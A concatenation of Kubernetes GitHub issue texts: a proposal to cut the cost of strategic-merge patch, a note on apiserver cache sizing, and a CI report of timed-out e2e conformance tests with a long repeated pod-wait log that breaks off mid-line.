while running large cluster tests, i'm observing patch to be the biggest part of profiles. this involves both cpu as well as memory allocations.\r \r on the unrelated node, memory allocations are relatively crucial for us now - after my pr https://github.com/kubernetes/kubernetes/pull/38961 that only reduce amount of memory allocations in cacher, the latency metrics in apiserver in 5000-node kubemark dropped by 5-30% depending on the metric.\r \r that said, we are pretty much using strategicpatch now. how this is implemented on the server side now is:\r    \r input: current runtime.object, patch string\r 1. serialize current to json\r 2. deserialize it to map string interface{}\r 3. deserialize patch to map string interface{}\r 4. merge maps\r 5. serialize the result to json\r 6. deserialize it to runtime.object  already patched .\r    \r \r this is pretty expensive because it requires double json serialization & deserialization  and most memory allocations came from that .\r \r it would be good to optimize this somehow  though i don't have any good idea yet .\r \r @kubernetes/sig-api-machinery-misc @smarterclayton @kubernetes/sig-scalability-misc

we've had a number of bouncing reports on the cache in the past being too high  using too much memory , then the cache being too magic.  computed by node count :/ \r \r this is to record we should probably make the cacheing objects themselves smarter.  e.g. grow to a threshold and recycle based on time-window and hit-count. \r \r /cc @wojtek-t @hongchaodeng @kubernetes/sig-scalability-feature-requests @smarterclayton @enj \r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-prod-smoke/10242/ multiple broken tests:  failed:  k8s.io  pods should be submitted and removed  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:261 expected error:     < errors.errorstring | 0xc42036c5c0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:202     issues about this test specifically:  26224  34354   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:52 expected error:     < errors.errorstring | 0xc42037cbf0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:544     issues about this test specifically:  33631  33995  34970   failed:  k8s.io  kubectl client  k8s.io  kubectl patch should add annotations for pods in rc  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:943 mar 21 21:40:13.705: verified 0 of 1 pods , error : timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:293     issues about this test specifically:  26126  30653  36408   failed: test {e2e.go}      error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ conformance\\  --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ : exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025   failed:  k8s.io  kubectl client  k8s.io  kubectl label should update the label on a resource  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:824 expected     <bool>: false to be true /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:823     issues about this test specifically:  28493  29964   failed:  k8s.io  kubectl client  k8s.io  update demo should scale a replication controller  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:324 mar 21 21:39:10.631: timed out after 300 seconds waiting for name=update-demo pods to reach valid state /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:1995     issues about this test specifically:  28437  29084  29256  29397  36671   failed:  k8s.io  variable expansion should allow substituting values in a container's args  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/expansion.go:131 wait for pod \ var-expansion-c7c40421-0eb8-11e7-9fd0-0242ac110008\  to disappear expected success, but got an error:     < errors.errorstring | 0xc420450de0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:121     issues about this test specifically:  28503   failed:  k8s.io  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:310 mar 21 21:39:16.979: timed out after 300 seconds waiting for name=update-demo pods to reach valid state /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:1995     issues about this test specifically:  28565  29072  29390  29659  30072  33941   failed:  k8s.io  probing container should be restarted with a /healthz http liveness probe  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:176 starting pod liveness-http in namespace e2e-tests-container-probe-dj49l expected error:     < errors.errorstring | 0xc420451ff0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:364     issues about this test specifically:  38511   failed:  k8s.io  docker containers should be able to override the image's default command and arguments  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/docker_containers.go:64 expected error:     < errors.errorstring | 0xc42088c610>: {         s: \ expected pod \\\ client-containers-f3840d56-0eb8-11e7-af35-0242ac110008\\\  success: gave up waiting for pod 'client-containers-f3840d56-0eb8-11e7-af35-0242ac110008' to be 'success or failure' after 5m0s\ ,     }     expected pod \ client-containers-f3840d56-0eb8-11e7-af35-0242ac110008\  success: gave up waiting for pod 'client-containers-f3840d56-0eb8-11e7-af35-0242ac110008' to be 'success or failure' after 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2177     issues about this test specifically:  29467   failed:  k8s.io  kubectl client  k8s.io  kubectl run --rm job should create a job from an image, then delete the job  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1280 expected error:     < errors.errorstring | 0xc420eee140>: {         s: \ timed out waiting for command &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.196.0.246 --kubeconfig=/workspace/.kube/config --namespace=e2e-tests-kubectl-sc093 run e2e-test-rm-busybox-job --image=gcr.io/google_containers/busybox:1.24 --rm=true --generator=job/v1 --restart=onfailure --attach=true --stdin -- sh -c cat && echo 'stdin closed'      0xc420ebc0e0 waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\      <nil> 0xc420aefdd0 <nil> <nil> <nil> true  0xc420ca8198 0xc420ca81c0 0xc420ca81d0   0xc420ca8198 0xc420ca81c0 0xc420ca81d0   0xc420ca81a0 0xc420ca81b8 0xc420ca81c8   0x973630 0x973730 0x973730  0xc420376a20 <nil>}:\ command stdout:\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false\ waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be 